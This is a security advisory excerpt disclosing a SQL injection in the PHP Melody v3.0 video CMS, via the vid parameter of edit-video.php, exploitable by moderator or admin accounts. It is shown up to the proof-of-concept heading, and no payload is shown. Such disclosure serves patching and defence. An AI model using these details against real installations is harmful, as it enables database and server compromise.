Technical Details & Description:
================================
A remote sql-injection vulnerability has been discovered in the PHP Melody v3.0 video cms web-application.
The vulnerability allows remote attackers to inject or execute own sql commands to compromise the dbms or
file system of the web-application.
The remote sql injection vulnerability is located in the `vid` parameter of the `edit-video.php` file.
Remote attackers with moderator or admin access privileges are able to execute own malicious sql commands
by inject get method request. The vid parameter in the acp ui is not sanitized properly. Thus allows an
attacker to inject own sql commands to compromise the web-application and dbms.
Exploitation of the remote sql injection vulnerability requires no user interaction but a privileged moderator or admin account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Video Edit
Vulnerable File(s):
[+] edit-video.php
Vulnerable Parameter(s):
[+] vid
Proof of Concept (PoC):
=======================
The remote sql-injection web vulnerability can be exploited by authenticated remote attackers without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
